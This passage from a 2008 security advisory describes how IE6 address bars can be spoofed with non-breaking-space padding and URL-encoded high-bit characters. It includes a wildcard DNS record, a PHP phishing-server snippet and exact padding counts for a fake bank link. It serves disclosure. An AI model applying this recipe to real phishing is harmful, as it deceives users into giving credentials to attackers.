.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .phish.site/&lt;br /&gt;
&lt;br /&gt;
The attack can be easily implemented using DNS wildcard mapping,&lt;br /&gt;
assuming the attacker controls the phish.site domain. The&lt;br /&gt;
attacker simply needs to add the following line for the&lt;br /&gt;
phish.site zone configuration file (tested with BIND9):&lt;br /&gt;
&lt;br /&gt;
*.phish.site.&amp;nbsp;&amp;nbsp;&amp;nbsp; IN&amp;nbsp;&amp;nbsp;&amp;nbsp; A&amp;nbsp;&amp;nbsp;&amp;nbsp; ...IP address...&lt;br /&gt;
&lt;br /&gt;
Note that the Host header will contain raw 0xA0 bytes. So by&lt;br /&gt;
including the following PHP code in the index.php of the phishing&lt;br /&gt;
server, the attacker can cater for multiple simultaneous phishing&lt;br /&gt;
attacks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$match=array();&lt;br /&gt;
preg_match(&quot;/^([a-zA-Z0-9_.-]+)\\xA0/&quot;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_SERVER[&#39;HTTP_HOST&#39;],$match);&lt;br /&gt;
echo &quot;This is a phishing site for &quot;.$match[1];&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attack #2 (theoretic): URL-encoded characters&lt;br /&gt;
---------------------------------------------&lt;br /&gt;
It&#39;s possible to include URL-encoded characters in the address&lt;br /&gt;
bar of IE6. IE6 URL-decodes them before querying the DNS, and&lt;br /&gt;
internally this is how they are kept.&lt;br /&gt;
&lt;br /&gt;
Now, here&#39;s where it gets interesting: high-bit characters will&lt;br /&gt;
not be displayed in the address bar. So instead of showing&lt;br /&gt;
visually as &quot;http://www.foo%A9bar.com/&quot; (or&lt;br /&gt;
&quot;http://www.foo(c)bar.com/&quot;) as one may expect, the address bar&lt;br /&gt;
will show &quot;http://www.foobar.com/&quot;.&lt;br /&gt;
&lt;br /&gt;
Theoretically, this can be used for phishing. A phisher can&lt;br /&gt;
register, say foo(\xC2)(\xA9)bar.com and use that in a phishing&lt;br /&gt;
URL (http://www.foo%A9bar.com/). When clicked, the IE6 address&lt;br /&gt;
bar will display the expected URL, http://www.foobar.com/.&lt;br /&gt;
However, this vulnerability seems to be theoretic only, since (in&lt;br /&gt;
the author&#39;s limited experience), it&#39;s not possible&lt;br /&gt;
administratively to register such domain names.&lt;br /&gt;
&lt;br /&gt;
As for domain security, as far as IE6 is concerned, these are two&lt;br /&gt;
different domains. Cookies are not shared, access across domains&lt;br /&gt;
is denied, SSL certificate will not match, etc. Also, the Host&lt;br /&gt;
header includes the value with the original raw character - i.e.&lt;br /&gt;
the Host header is:&lt;br /&gt;
&lt;br /&gt;
Host: www.foo(\xA9)bar.com&lt;br /&gt;
&lt;br /&gt;
Even if no real domain can be registered, this can still be&lt;br /&gt;
somewhat of an annoyance. For example, spam can offer a URL as&lt;br /&gt;
evidence that a company&#39;s site is not available, or was hacked.&lt;br /&gt;
So if an attacker wants to defame www.foobar.com, he may do so by&lt;br /&gt;
sending spam with text such as &quot;foobar inc. went chapter 11 -&lt;br /&gt;
site is down. Check out http://www.foo%A9bar.com/&quot;. This will end&lt;br /&gt;
up in DNS resolution failure.&lt;br /&gt;
&lt;br /&gt;
Auto-completion applies to the address bar string (not the real&lt;br /&gt;
URL), hence auto-completing, say, www.fo will result in&lt;br /&gt;
www.foobar.com (the real domain name), and the browser will&lt;br /&gt;
navigate to the genuine site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor status&lt;br /&gt;
=============&lt;br /&gt;
&lt;br /&gt;
Microsoft (MSRC) was informed of the two issues on January 13th,&lt;br /&gt;
2008. MSRC acknowledged the two problems and assigned the first&lt;br /&gt;
one the ticket MSRC7899, and the second one MSRC7900. However,&lt;br /&gt;
Microsoft declined to fix the issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additional notes and observations&lt;br /&gt;
=================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Label and name lengths&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
Labels are limited (per RFC 1034 section 2.3.4) to 63 octets.&lt;br /&gt;
This means that no more than 31 consecutive NBSPs can be used.&lt;br /&gt;
The trick is to split them into labels (by inserting a dot).&lt;br /&gt;
Names are limited to 255 octets (per RFC 1034 section 2.3.4).&lt;br /&gt;
This includes the accumulated length of all labels, plus a length&lt;br /&gt;
octet preceding all labels (including the 0-length root label).&lt;br /&gt;
Apparently, both restrictions are enforced by DnsQuery_A (in&lt;br /&gt;
fact, names are limited to 254-256 bytes, including dots).&lt;br /&gt;
&lt;br /&gt;
Additionally, it seems that a non-DNS character counts as 3&lt;br /&gt;
octets towards the total name limit (but not towards the label&lt;br /&gt;
length limit). A possible explanation is that when a non-ASCII&lt;br /&gt;
character is encountered, the worst case UTF-8 representation&lt;br /&gt;
length is used (3 octets) rather than the actual UTF-8&lt;br /&gt;
rerpesentation length (2 bytes for characters whose Unicode index&lt;br /&gt;
is smaller than 0x800 e.g. NBSP, 3 bytes for all other Unicode&lt;br /&gt;
characters). Thus, it is impossible to use more than 85 such&lt;br /&gt;
characters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTTP Caching&lt;br /&gt;
------------&lt;br /&gt;
&lt;br /&gt;
There seems to be an additional bug in IE6 regarding how&lt;br /&gt;
resources whose URL contain high-bit set bytes are cached. The&lt;br /&gt;
key URL is constructed in an erroneous manner. It seems that the&lt;br /&gt;
key is constructed as following: take the string consisting of&lt;br /&gt;
the URL-encoded URL, e.g. http://www.foo%A9bar.com/, and&lt;br /&gt;
overwrite it with the decoded (shorter) URL,&lt;br /&gt;
http://www.foo(\xA9)bar.com/, in this case resulting in&lt;br /&gt;
http://www.foo(\xA9)bar.comom/. Obviously no regular URL will&lt;br /&gt;
match this key, so the caching is meaningless.&lt;br /&gt;
&lt;br /&gt;
The key used for caching retrieval is probably the URL-encoded&lt;br /&gt;
version of the URL. And since it&#39;s never there, the effect is of&lt;br /&gt;
no-caching.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DNS caching&lt;br /&gt;
-----------&lt;br /&gt;
&lt;br /&gt;
It was also verified that BIND 9 (the most popular DNS server&lt;br /&gt;
software) is capable of serving such domains, both as an&lt;br /&gt;
authoritative server and as a caching DNS server (verified with&lt;br /&gt;
BIND 9.2.4 as an authoritative and caching server, and 9.4.1-P1&lt;br /&gt;
as a caching server). In order to configure BIND to serve the&lt;br /&gt;
domain as an authoritative name server, the high-bit bytes&lt;br /&gt;
(\xC2)(\xA9) should be inserted to the zone file. Care should be&lt;br /&gt;
exercised here with the choice of editor, since some text editors&lt;br /&gt;
don&#39;t handle high-bit bytes well. It is advised to review the&lt;br /&gt;
file contents with a hex-dump tool (e.g. od) to ensure that the&lt;br /&gt;
correct bytes were entered.&lt;br /&gt;
&lt;br /&gt;
Windows DNS server (verified with Windows 2003 for Small Business&lt;br /&gt;
Server SP2) as a cache server also supports such domain names (no&lt;br /&gt;
testing was done regarding Windows DNS server as an authoritative&lt;br /&gt;
server).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Root and TLD support&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
Apparently, the root servers and the .COM/.NET gTLD servers are&lt;br /&gt;
indifferent to non-ASCII characters in sub-domains, and they will&lt;br /&gt;
happily respond to such queries pointing at the authoritative DNS&lt;br /&gt;
server (which would be the attacker&#39;s server).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IDN and homographs&lt;br /&gt;
------------------&lt;br /&gt;
&lt;br /&gt;
The first attack, while abusing the same underlying phenomenon&lt;br /&gt;
(different logical symbols which are rendered into graphically&lt;br /&gt;
identical or almost indistinguishable forms - SP and NBSP in our&lt;br /&gt;
case) is nonetheless completely different than the homograph&lt;br /&gt;
attack (http://www.shmoo.com/idn/homograph.txt), which makes use&lt;br /&gt;
of the IDN extension to DNS.&lt;br /&gt;
&lt;br /&gt;
The second (theoretic) attack is completely different because the&lt;br /&gt;
non-DNS characters simply do not appear in the address bar.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Author&#39;s additional notes:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I noticed that some of the crucial information may have been &quot;reformatted&quot; on the way.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
So please note that the HTML markup in attack #1 is&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;lt;a href=&quot;http://www.yourbankhere.com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
ampersand-NBSP-semicolon followed by a dot followed by&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
phish.site/&quot;&amp;gt;YourBankHere&amp;lt;/a&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
The address bar appears like&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&quot;http://www.yourbankhere.com&quot; followed by 30 spaces, a dot, 31 spaces, a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
dot, 13 spaces, a dot and finally &quot;phish.site/&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
